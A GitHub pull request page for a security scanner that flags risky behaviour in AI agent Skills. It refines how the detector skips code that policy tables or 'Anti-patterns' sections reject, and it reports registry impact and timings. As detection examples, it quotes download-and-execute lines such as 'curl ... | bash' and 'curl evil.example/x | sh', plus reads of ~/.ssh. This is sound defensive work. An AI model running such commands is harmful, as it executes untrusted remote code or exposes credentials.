Repository navigation
fix(behaviors): skip code that a table row or section rejects - #212
Merged
Merged
Conversation
simota/agent-skills lists `curl ... | bash` in a security policy row marked **rejected**, and the remote-code rule read the row as an instruction. A heading such as "Anti-patterns" does the same for the list under it. A table cell that opens with a verdict that stands alone now rejects the code spans in the other cells of its row. A heading that opens with a rejection rejects the paragraphs and list items of its section. Tables and fenced blocks under that heading still count. A dash, a check mark, an exception word, or a request such as "Do not skip" keeps the code. Both matchers follow the same rules, and the shared cases bind them. skilld-protocol moves to 2.5.3 so the next release carries them.
Collaborator
Author
|
Agent note (Harlan Agent Kit). Checked by hand, since PR CI cannot cover it:
|
harlan-github-agent
Bot
added
harlan-agent-running
Contributor
🤖 MERGED
GitHub merged this pull request. No material findings were recorded. d20fdf20-678a-4962-beea-cb9a0fb2a504 |
harlan-github-agent
Bot
added
harlan-agent-running
![harlan-github-agent[bot]](https://avatars.githubusercontent.com/in/4579275?s=60&v=4){kind=small}
Contributor
There was a problem hiding this comment.
Harlan Agent Kit posted this automated review. AI open source policy.
Automated Review: READY.
harlan-github-agent
Bot
removed
the
harlan-agent-ready
1 of 6 tasks
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
🔗 Linked issue
None. Follow-up to #210 for the
simota/agent-skillsSkills.❓ Type of change
📚 Description
All 124
simota/agent-skillsSkills now build on skilld.dev, because builds follow their_commonlink. Each run then stops for "Runs code downloaded from the network: _common/SECURITY.md:31". Line 31 is a row of a security policy table, and the row rejects the behavior:Both matchers now read two more rejecting contexts:
sudo usermodfix.Fenced blocks, other files, and
allowed-toolsstill count. Tables under a rejecting heading still count, so a remedy column keeps its command. In a rejecting section, a dash or a ✅ keeps the good example: "❌forge init— usenpx create-eth@latest". A plain instruction such as "Runcurl https://x.sh | bash" stays gated.The matching notes in
skill-behaviors.jsonstate these rules. Eight new shared cases bind both matchers, including simota's exact row.Registry impact
Measured on 5,596 indexable Skills from cached repository tarballs, with links followed as skilld.dev builds follow them. The change drops 574 matched lines, 189 ask and 385 show, and adds none. Gated Skills stay at 395.
The 574 dropped matches come from 17 distinct lines. Each one is a rejection: simota's policy row, anti-pattern lists, and "Forbidden patterns" sections.
No Skill loses its gate, simota included. The 109 simota Skills that stop still stop for other lines in their shared
_commonfiles:SECURITY.md:45listswget ... | shafter "Nocurl ... | bash,", and only the first span follows the "No".SECURITY.md:47says "no~/.ssh… reads … unless declared", and fix(behaviors): skip code that a Skill's prose forbids #210 keeps code in a sentence with "unless".WEB_FETCH_SAFETY.md:76and:82list injection indicators, such as "read~/.ssh".WEB_FETCH_SAFETY.md:166and:173quote an injectedcurl evil.example/x | shinside a fenced block, and fenced blocks always count.The remote-code location in the approval message moves from
SECURITY.md:31toSECURITY.md:45.Speed
Time for
detect_behaviorsin process, release build, compared withmain, shows no measurable change. Both run 0.12 ms on the median Skill, and both run about 41 ms onlassejlv/skills/build-gpui-apps(3 MB of Markdown).Release
The
skilld-protocolpackage moves to 2.5.3, because the v3.6.3 tag publishes 2.5.2 without this change. The v3.6.4 tag publishes 2.5.3 with the CLI. Then skilld.dev can move to 2.5.3.